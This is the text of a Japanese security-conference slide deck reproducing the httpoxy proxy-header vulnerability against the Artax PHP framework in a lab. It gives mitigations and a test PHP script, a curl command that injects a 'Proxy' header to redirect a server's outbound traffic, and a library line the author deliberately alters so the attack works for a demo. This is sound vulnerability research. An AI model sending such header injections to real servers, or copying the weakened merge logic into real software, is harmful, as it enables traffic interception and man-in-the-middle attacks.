Affected 指定されているけど PoC が無いフレームワークで再現試験をした話 WASNight 2016 Summer = WASForum x OWASP Night 2016/8/16 一ノ瀬太樹 HASH Consulting Corp.
自己紹介 名前 : 一ノ瀬太樹 Twitter: @mahoyaya 所属 : HASH コンサルティング株式会社 OWASP Japan プロモーションチーム OWASP ZAP ユーザーグループ脆弱性診断研究会 ( 管理者その 3) Perl 入学式 ( サポーター ) HASH Consulting Corp. 2
突然ですが HASH Consulting Corp. 3
blog を書きました http://blog.hash-c.co.jp/2016/07/httpoxyaffectedpoc.html http://goo.gl/aslxnl HASH Consulting Corp. 4
httpoxy は警視庁による注意喚起もされており 非常に注目を集めています HASH Consulting Corp. 5
httpoxy の原因 httpoxy の根本的な原因は CGI の仕様と一般的に利用される環境変数との名前空間の衝突 そのため CGI や CGI ライクな環境を利用している場合に httpoxy の影響を受ける可能性がある HASH Consulting Corp. 6
具体的な動作 CGI では クライアントが送信した HTTP リクエストヘッダの情報を環境変数に設定する際の動作が RFC3875 で規定されている 大文字に変換 ハイフン "-" をアンダースコア "_" に変換 名前の先頭に "HTTP_" を付与 結果として Proxy という HTTP リクエストヘッダが付与されていた場合に環境変数 HTTP_PROXY が設定されることとなる HASH Consulting Corp. 7
例えば次のリクエストがあると 1 GET /index.php HTTP/1.1 2 Host: foo.example.com 3 Proxy: 10.0.0.1:8080 CGI の動作により次の環境変数がセットされる 1 HTTP_PROXY=10.0.0.1:8080 ただし この動作だけで問題が発生するわけではない HASH Consulting Corp. 8
HTTP_PROXY という環境変数は 一般的に CLI で利用されるコマンドベースのアプリケーションが Proxy サーバを利用する際に参照するもの この脆弱性が存在する Web サーバが環境変数を参照して外部通信を行う場合に次の問題が発生する 内部サーバ宛て http 通信の盗聴 外部サーバ宛て http 通信の盗聴および改ざん ( 中間者攻撃 ) HASH Consulting Corp. 9
本脆弱性への対処 PHP では最新の 5.5.38, 5.6.24, 7.0.9, 7.1.0-beta1 にて getenv 関数に local_only の引数を持つことが出来るようになる修正が含まれたことを確認 今回利用しているフレームワークの Artax では 2.0.4 で修正されている 回避策は大きく次の方法がある HTTP リクエストヘッダを書き変える Apache HTTP Server の mod_headers や Nginx の fastcgi_param などが利用できる WAF で Drop する Apache HTTP Server の mod_rewrite などが利用できる 外部接続に HTTPS を利用する アプリケーションが HTTPS_PROXY を参照するようになり 原理的に影響を受けなくなる HASH Consulting Corp. 10
その他の回避策 httpoxy 公式 https://httpoxy.org/ nginx 公式の注意喚起 https://www.nginx.com/blog/mitigating-the-httpoxy-vulnerability-with-nginx/ HASH Consulting Corp. 11
再現試験をした httpoxy に関しては httpoxy.org による PoC が既に公開されており ネタとしては面白くない なので Affected になっているが PoC は公開されていない PHP のフレームワークである Artax v2.0.3 を利用して試験! HASH Consulting Corp. 12
これ HASH Consulting Corp. 13
環境 検証環境イメージ図 HASH Consulting Corp. 14
本当の構成 Apache HTTP Server 2.2.15 + PHP 5.5.37 Windows10 では www.example.jp として疑似外部サイトを稼働させてるが Proxy として稼働するためのソフトウェアは入っていない HASH Consulting Corp. 15
事象が再現したことを確認するための PHP ファイ ル httpoxy.php を作る HASH Consulting Corp. 16
# code 1 <?php 2 use Amp Artax Client; 3 require 'artax/vendor/autoload.php'; 4 5 echo "<h1>httpoxy exploit check</h1><br> n"; 6 echo "<br>==============================================<br> n"; 7 echo "var_dump( $_SERVER['HTTP_PROXY']); n"; 8 var_dump($_server['http_proxy']); 環境変数を表示 9 echo "<br>"; 10 echo "getenv('http_proxy'); n"; 11 var_dump(getenv('http_proxy')); 環境変数を表示 12 echo "<br>"; 13 14 echo "<br>==============================================<br> n"; HASH Consulting Corp. 17
# code 15 16 try { 17 $client = new Client; 18 $promise = $client->request('http://www.example.jp'); 19 $response = Amp wait($promise); 20 printf( 21 " nhttp/%s %d %s n", 22 $response->getprotocol(), 23 $response->getstatus(), 24 $response->getreason() 25 ); 26 } catch (Exception $error) { 27 echo $error; 28 } 外部通信を行う ステータス表示 HASH Consulting Corp. 18
ブラウザからアクセスしたところ 通常 HTTP リクエストヘッダに Proxy が含まれることはないので null や false が返却されている HASH Consulting Corp. 19
環境変数に HTTP_PROXY をセットさせてみる HTTP リクエストヘッダに Proxy: 192.168.80.1:8080 などを設定してリクエストを送ると環境変数をセットさせることが出来る 192.168.80.1 は Windows10 の IP アドレスだが ポート番号 8080 のアクセスは受け付けない状態なので ARP は解決できるが TCP 接続は受け付けない状態 HASH Consulting Corp. 20
curl を利用してリクエストを送信する 1 curl -H "Proxy: 192.168.80.1:8080" "http://192.168.80.234/httpoxy.php" HASH Consulting Corp. 21
結果 # Response 6 var_dump($_server['http_proxy']); 7 <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> 読み込まれてる 8 </pre><br>getenv('http_proxy'); 9 <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> 読み込まれてる 10 </pre><br><br>============================================= =<br> 11 12 HTTP/1.1 200 OK HASH Consulting Corp. 22
結果 # Response 6 var_dump($_server['http_proxy']); 7 <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> 読み込まれてる 8 </pre><br>getenv('http_proxy'); 9 <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> 読み込まれてる 10 </pre><br><br>============================================= =<br> 11 12 HTTP/1.1 200 OK!!!! HASH Consulting Corp. 23
結果 # Response 12 HTTP/1.1 200 OK HASH Consulting Corp. 24
全然 OK じゃない HASH Consulting Corp. 25
Artax のコードを確認した 1.Artax は Proxy のパラメータを 2 つのオブジェクト (Client, HttpSocketPool) 内に同じ配列名かつ同じ変数名の $options[self::op_proxy_http] で保持しており getenv( http_proxy ) で取得した値は HttpSocketPool 側で保持している 2. new Client; したタイミングでコンストラクタにより new HttpSocketPool; も実行され 自動的に環境変数が読み込まれる "self::op_proxy_http" は双方共に HttpSocketPool の定数を参照 3. 2 つのオブジェクトが保持している配列のパラメータはリクエストを送信する際に array_merge 関数によってマージされるが オブジェクト Client のパラメータで上書きされる仕様 (?) により HttpSocketPool で保持した値は使われない HASH Consulting Corp. 26
こんな感じ HASH Consulting Corp. 27
以下は HttpSocketPool 内の checkout 関数で利用されている実際のコード $options にオブジェクト Client で設定されているパラメータが格納されている # code 57 $options = $options? array_merge($this->options, $options) : $this->options; Proxy のパラメータはオブジェクト Client の初期化時に必ず空 ( ) で生成されるため上書きされてしまう HASH Consulting Corp. 28
すごくモヤモヤする仕様だし 脆弱性になっていない HASH Consulting Corp. 29
でも 攻撃を成功させたい HASH Consulting Corp. 30
コードを書き換えよう ( ぇ さっきの HttpSocketPool を書き換えてみる # code 57 //$options = $options? array_merge($this->options, $options) : $this->options; 58 $options = $options? array_merge($options, $this->options) : $this->options; HASH Consulting Corp. 31
DEMO HASH Consulting Corp. 32
DEMO 構成 稼働サービス Httpd: 80 Fedora22(Server) 172.20.10.0/24 稼働サービス Proxy: 8080 Mac(Client) VM.6.3.1 HASH のブログ テザリング HASH Consulting Corp. 33
通常通信 稼働サービス Httpd: 80 172.20.10.0/24 稼働サービス Proxy: 8080 Fedora22(Server) VM.6 1.3 Mac(Client) 2.1 HASH のブログ テザリング HASH Consulting Corp. 34
Proxy 通信 稼働サービス Httpd: 80 172.20.10.0/24 稼働サービス Proxy: 8080 Fedora22(Server) VM.6 1.3 Mac(Client) 2.1 HASH のブログ テザリング HASH Consulting Corp. 35
まとめ 検証を実施した限り オブジェクト Client を生成してリクエスト送信した場合において問題事象が発生することはなさそう しかし 絶対に問題が発生しないと保証することはできないので Artax を利用される方は 必ず v2.0.4 以降へのバージョンアップを検討してください 公開している内容やアプリケーションの動作を保証するものではありません 公開情報を利用される場合は 必ずご自身で検証されたうえでの利用をお願いします HASH Consulting Corp. 36
Thank you! HASH Consulting Corp. 37